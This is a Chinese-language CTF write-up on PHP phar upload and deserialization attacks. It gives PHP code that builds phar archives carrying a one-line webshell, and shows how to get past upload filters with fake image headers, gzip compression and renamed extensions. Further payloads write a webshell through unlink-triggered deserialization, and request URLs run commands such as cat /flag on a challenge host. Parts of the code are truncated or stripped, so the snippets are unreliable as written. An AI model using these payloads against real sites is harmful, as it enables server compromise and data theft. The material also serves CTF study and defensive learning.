Phar 文件上传以及反序列化

1.phar反序列化 触发条件:

1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4、: / phar 这些字符没有给过滤

5.关闭readonly模式

2.phar://伪协议  是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压 

(1)不涉及反序列化,文件上传+文件包含 上传 例题博客详细解答:

  

 第1步:构造phar包  创建一个test.php  里边含有一句话木马

startBuffering();
    $phar->setStub(""); 
    $phar->addFromString("test.php", ''); 
    $phar->stopBuffering();
?>

第2步:把生成的exp.phar,改成exp.zip(题目白名单过滤)然后通过文件上传功能点上传 

第3步:访问 图片路径/test.php (由于题目会加php后缀,则文件包含的时候不用加)

?bingdundun=phar://273df00f6d13b569a218fa09629ec81f.zip/test&8=system("cat%20/fla*");

(2)phar反序列化例题:

首先生成上传phar文件(改后缀为jpg绕过检测)

 
$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
//$phar->setStub("GIF89a");
//$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub 绕过setStub('');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();

 接着直接文件包含

file.php?file=phar://upload/aa6de1f7ebf0130753f44a728c5ccf61.jpg

(3)对于无回显:

题目源码: (unlink触发phar反序列化)

 cmd);
    }
}
@unlink($_POST['file']);

首先构造phar文件 ,然后上传

 cmd = "echo ''>/var/www/html/1.php";
    }
   
}
 $a = new Flag();
 $phar = new Phar('A.phar');
 $phar->startBuffering();
 $phar->addFromString('test.txt','test'); //添加压缩文件
 $phar->setStub(''); //如果有文件投检测可以加上文件头
 $phar->setMetadata($a);
 //自动计算签名
 $phar->stopBuffering();
?>

绕过__HALT_COMPILER特征检测:
将 phar 文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER(),将 phar.gz 后缀改为 png(png文件可以上传)  执行linux压缩命令:

gzip A.phar

 然后同过link触发反序列化,再利用webshel

file=phar:///var/www/html/upload/321532365639f31b3b9f8ea8be0c6be2.png

http://c37a1641-a338-452f-8bb4-0a78ac288eca.node4.buuoj.cn:81/1.php?1=cat%20/flag

(4) phar反序列化绕过方式: 

环境限制phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

 也可以利用其它协议, 如 filter 过滤器。

php://filter/read=convert.base64-encode/resource=phar://phar.phar

你可能感兴趣的:(android)